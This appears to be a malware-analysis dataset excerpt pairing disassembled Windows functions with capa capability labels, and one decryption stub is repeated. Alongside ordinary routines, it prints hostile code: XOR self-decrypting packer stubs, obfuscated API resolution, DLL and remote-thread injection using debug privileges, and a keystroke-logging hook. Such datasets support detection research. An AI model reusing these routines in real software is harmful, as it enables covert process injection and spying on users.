joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404446
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x404474
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x40447b
cmp ebx, dword [eax + 4]
jae 0x40447b
xor eax, eax
jmp 0x40466b
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40448c
xor eax, eax
inc eax
jmp 0x40466a
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4044a2
cmp ecx, edx
jae 0x4045e7
cmp dword [eax + 4], 0
je 0x4044ab
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x404493
cmp dword [ebp + 8], 0
je 0x4044cd
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4045e7
cmp eax, esi
jae 0x4045e7
mov eax, dword [0x409880]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4044f2
cmp dword [esi*4 + 0x409888], edi
je 0x4045eb
inc esi
cmp esi, eax
jl 0x4044e0
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404667
cmp dword [ebp - 8], 0x1000000
jne 0x404667
test byte [ebp - 0xc], 0xcc
je 0x404570
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x404667
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x404667
cmp word [eax + 0x18], 0x10b
jne 0x404667
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x404667
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x404570
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x404570
test byte [ecx + 0x27], 0x80
jne 0x4045e7
push 1
push 0x4098c8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x404484
mov ecx, dword [0x409880]
test ecx, ecx
mov edx, ecx
jle 0x4045a4
lea eax, [ecx*4 + 0x409884]
cmp dword [eax], edi
je 0x4045a4
dec edx
sub eax, 4
test edx, edx
jg 0x404598
test edx, edx
jne 0x4045d5
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4045b1
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4045c9
lea eax, [edx*4 + 0x409888]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4045b7
cmp ecx, 0x10
jge 0x4045d5
inc ecx
mov dword [0x409880], ecx
push 0
push 0x4098c8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x404484
xor eax, eax
jmp 0x40466a
test esi, esi
jle 0x404484
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x4098c8
call ebx
test eax, eax
jne 0x404484
cmp dword [esi*4 + 0x409888], edi
je 0x404641
mov eax, dword [0x409880]
lea esi, [eax - 1]
test esi, esi
jl 0x40462f
cmp dword [esi*4 + 0x409888], edi
je 0x40462b
dec esi
jns 0x40461f
test esi, esi
jge 0x40463f
cmp eax, 0x10
jge 0x40463a
inc eax
mov dword [0x409880], eax
lea esi, [eax - 1]
jmp 0x404641
je 0x404659
xor ecx, ecx
test esi, esi
jl 0x404659
lea eax, [ecx*4 + 0x409888]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x404647
push 0
push 0x4098c8
call ebx
jmp 0x404484
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405b4c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00403470
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405be7
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x4096e0]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x405be7
cmp eax, 1
je 0x405c08
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405be7
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x405bb4
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x405be3
xor eax, eax
inc eax
jmp 0x405c27
cmp edi, eax
jae 0x405beb
xor eax, eax
jmp 0x405c27
cmp eax, esi
jae 0x405bf2
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x4096e0]
jmp 0x405c0b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d7a
nop
sub eax, 0x403d20
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp loc.00401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4076c4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x20c]
mov esi, edx
push edi
push eax
call fcn.004095f0
add esp, 0xc
lea ecx, [ebp - 0x20c]
call fcn.004072b0
lea eax, [ebp - 0x20c]
push eax
push edi
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ebx, eax
test ebx, ebx
jne 0x407756
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_open_file_mapping_object.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x410], eax
xor eax, eax
jmp 0x407820
push 0x1e78
push edi
push edi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x4077aa
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_map_view_of_file.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [esi + 0x410], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40774f
mov eax, dword [ebp - 0x210]
test eax, eax
jne 0x4077c6
call fcn.0040d306
mov dword [eax], 0x16
call fcn.0040d23a
jmp 0x4077d5
push 0x1034
push edi
push eax
call fcn.00408e00
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
push str.ReadSharedMemory__:
push ecx
mov edx, 0x82
mov ecx, esi
call fcn.00403b0e
lea eax, [ebp - 0x20c]
push eax
push str.succeeded._mapping_obj_name:__s
lea eax, [esi + 0x208]
push 0x104
push eax
call fcn.00406b11
and dword [esi + 0x410], 0
xor eax, eax
add esp, 0x10
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407989
leave
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4086ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4086d9
pop dword [ebp - 0x14]
mov eax, 0x2209831d
sub eax, 0x21c8fc44
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xe8f8ff69
add dword [ebp - 0x24], 0x655945e2
mov dword [ebp - 0x20], 0x6d135ec6
add dword [ebp - 0x20], 0xc51fed7f
mov dword [ebp - 0x1c], 0x22af2102
add dword [ebp - 0x1c], 0x299d232c
mov dword [ebp - 0x18], 0xd483f18d
add dword [ebp - 0x18], 0x2b7c0e73
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xdaabfc3b
sub dword [ebp - 0x24], 0x663992e5
mov dword [ebp - 0x20], 0x5cecf607
sub dword [ebp - 0x20], 0x1b809492
mov dword [ebp - 0x1c], 0xb0f9302e
sub dword [ebp - 0x1c], 0x4d89c3c2
mov dword [ebp - 0x18], 0xfb6e78da
add dword [ebp - 0x18], 0x4918726
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x1d8e895d
add eax, 0xe2b246ef
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x394f5
push 0
call eax
mov ecx, 0x70ef9ca2
add ecx, 0x8f10aa87
mov edi, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x14]
mov esi, 0x1ba9ad68
xor dword [ebp - 0xc], edi
mov edx, dword [ebx]
sub dword [ebp - 8], 0x949eb13a
add edx, esi
mov dword [edi], edx
xor dword [ebp - 0x10], 0x14f9e38c
add edi, 0xb08639c6
sub edi, 0xb08639c2
add ebx, 4
loop 0x4087ea
add eax, 0x4326e410
sub eax, 0x4325d499
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x100010a0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
or ebx, 0xffffffff
push eax
push ebp
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001125
mov edi, dword [esp + 0x13c]
lea esi, [esp + 0x34]
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000110d
test cl, cl
je 0x10001109
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000110d
add eax, 2
add esi, 2
test cl, cl
jne 0x100010e9
xor eax, eax
jmp 0x10001112
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10001134
lea eax, [esp + 0x10]
push eax
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100010e3
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x128
ret 4
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret 4

Function at 0x10001150
Capabilities:
Acquire debug privileges
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test ebx, ebx
jne 0x1000116d
test esi, esi
ja 0x1000116d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 8
push str.SeDebugPrivilege
call fcn.10001370
test al, al
jne 0x10001182
pop edi
pop esi
pop ebp
pop ebx
ret 8
push esi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x1000119f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 8
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 4
push 0x1000
push ebx
call ebp
inc eax
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x100011d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 8
push 0
push ebx
call ebp
inc eax
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x100011f4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 8
push str.LoadLibraryA
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000121f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 8
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
push esi
jne 0x10001244
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 8
Function at 0x10001260
Capabilities:
Acquire debug privileges
Create thread
Inject thread

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
push str.SeDebugPrivilege
call fcn.10001370
mov eax, dword [esp + 0x20]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [esp + 0x24]
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push 4
inc edi
push 0x1000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
je 0x100012d1
lea ecx, [esp + 0x10]
push ecx
push edi
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100012d1
cmp dword [esp + 0x10], edi
je 0x100012e4
push 0x4000
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc
ret 8
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 0x14]
push edx
push 0
push ebp
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x18]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x4000
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call edi
mov eax, dword [esp + 0x18]
mov ecx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 0x14]
push edx
push 0
push eax
push ecx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call edi
push esi
call edi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0xc
ret 8

Function at 0x100017e0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov ecx, dword [0x10003088]
mov eax, dword [esp + 4]
push 0
push ecx
push 0x10001740
push 2
mov dword [0x10003194], eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor edx, edx
mov dword [section..SHARDAT], eax
cmp edx, eax
sbb eax, eax
neg eax
dec eax
ret 4
Function at 0x402f90
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x467008], 0x8088405
inc edx
mov dword [ebx + 0x467008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4033e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x467024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403480
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403460
xor eax, eax
push ebp
push 0x403459
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40349c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403460
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x467024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x467024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404164
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x469048], 0
je 0x4041c5
cmp word [0x46921c], 0xd7b2
jne 0x40418d
cmp dword [0x469224], 0
jbe 0x40418d
mov eax, 0x469218
call dword [0x469234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x467070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4041ec
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x467034], 0
jne 0x4041e1
push 0
push 0x467068
push 0x467070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404320
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402a7c
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x469049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4042e8
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4061e0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406246
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004045dc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402fac
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406230
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40624d
lea eax, [ebp - 0x10]
call fcn.0040436c
ret

Function at 0x40b67c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b6b5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040445c
jmp 0x40b6be
mov eax, ebx
mov edx, esi
call fcn.004043c0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b6c8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b6e9
mov al, byte [esp]
jmp 0x40b6eb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bd80
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bbe8
mov eax, dword [0x468cb0]
cmp byte [eax], 0
je 0x40bdfc
mov eax, dword [0x46899c]
call fcn.00402dfc
call fcn.00402c08
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408d98
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40be44
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40be32
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x468928]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x469664]
call fcn.0040564c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40c6a0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c776
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404404
lea eax, [ebp - 8]
call fcn.0040487c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040482c
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c760
mov eax, ebx
call fcn.00402a7c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c759
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040482c
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c743
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c788
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c743
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c760
mov eax, dword [ebp - 0x10]
call fcn.00402aac
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c77d
lea eax, [ebp - 8]
call fcn.0040436c
ret

Function at 0x40ccc4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40cd28
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004045dc
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004086e8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd2f
lea eax, [ebp - 0xc]
call fcn.0040436c
ret

Function at 0x41af08
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x41af55
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.0041ad1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41af6d
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x41af74
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041ad1c
dec esi
jne 0x41af96
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret